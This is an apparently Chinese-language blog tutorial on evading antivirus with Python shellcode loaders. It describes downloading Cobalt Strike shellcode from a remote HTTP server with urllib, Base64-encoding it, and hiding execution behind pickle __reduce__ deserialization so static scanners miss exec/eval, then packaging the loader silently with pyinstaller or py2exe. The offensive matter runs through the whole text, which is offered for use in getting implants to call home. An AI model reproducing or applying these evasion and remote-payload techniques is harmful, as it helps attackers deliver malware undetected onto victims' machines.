原理
1 | 免杀技术大致分为有以下几类: |
采用分离免杀,即利用ShellCode和Python制作的加载器进行分离。
主要将ShellCode进行编码,分离及反序列化达到bypass的思路和方法。
ShellCode
1 | 什么是ShellCode? |
这里我们利用Cobalt Strike生成的ShellCode
ShellCode加载器
1 | 什么是ShellCode加载器? |
以Python为例:
1 | import ctypes |
分离
这里通过本地请求Http Server获取ShellCode内容并进行加载执行。
将ShellCode放置VPS上,这里利用Python起一个临时的http服务。
1 | python3 -m http.server |
通过request请求来获取ShellCode进行加载执行从而实现分离。
1 | shellcode = urllib.request.urlopen('http://192.168.1.1:8000/test.txt').read() |
编码
我么可以对ShellCode进行混淆编码加密等,再有本地可执行程序进行解密执行,这里我们以Base64编码处理为例,处理过后ShellCode页面如下。
下载ShellCode并执行
1 | import ctypes,urllib.request,codecs,base64 |
反序列化
经过了上文的那些操作,使用pyinstaller
将我们的程序打包成可执行程序,仍然会给杀软进行查杀。
因为我们使用的加载器本身关键语句已经被检测,因此我们需要对其进行进一步处理从而绕过静态查杀,我们绕过的方式可以通过上文说过的混淆、编码、加密等方式对代码进行处理,然后进行调用执行。但是像执行命令的exec
、eval
等函数特征比较明显,所以我们对它也需要进一步处理。
跟其他语言一样,Python也有序列化的功能,官方库里提供了pickle/cPickle的库用于序列化和反序列化,可以序列化python的任何数据结构,包括一个类,一个对象。
Python反序列化中 ,有几个内置方法会在对象反序列化时调用,这一点和PHP中的__wakeup()
魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。(这一点可以去了解一下:python中的反序列化安全问题)
1 | __reduce__() |
以__reduce__()
为例:
1 | import pickle |
通过pickle
的loads
来反序列化并自动执行了
从输出的结果我们还是可以看到调用的关键函数名称,可以对其进行混淆、编码、加密等操作,这里以Base64
编码为例,序列化、编码,解码、反序列化代码如下:
1 | import pickle |
1 | import pickle |
从代码层面来看,看到的是一段正常的base64编码以及反序列化的脚本文件,达到bypass的效果。
反序列化应用
结合上述说的利用反序列化来进行对我们的ShellCode加载来处理:
先进行序列化操作并进行base64编码,得到base64编码后的序列化:
1 | import ctypes,urllib.request,codecs,base64,pickle |
再进行base64解码、反序列化操作,执行脚本,正常上线。
1 | import ctypes,urllib.request,codecs,base64,pickle |
生成可执行文件
pyinstaller
1 | pyinstaller --noconsole --onefile demo1.py -i favicon.ico -n demo1 |
部分AV对Pyinstaller
打包的程序检测较为敏感,即使是仅打包print(1)
这种代码都有类似的结果
py2exe
1 | python setup.py py2exe |
1 | # setup.py 用于py2exe打包 |
参考
https://www.cnblogs.com/Akkuman/p/11851057.html
https://mp.weixin.qq.com/s/sd73eL3-TnMm0zWLCC8cOQ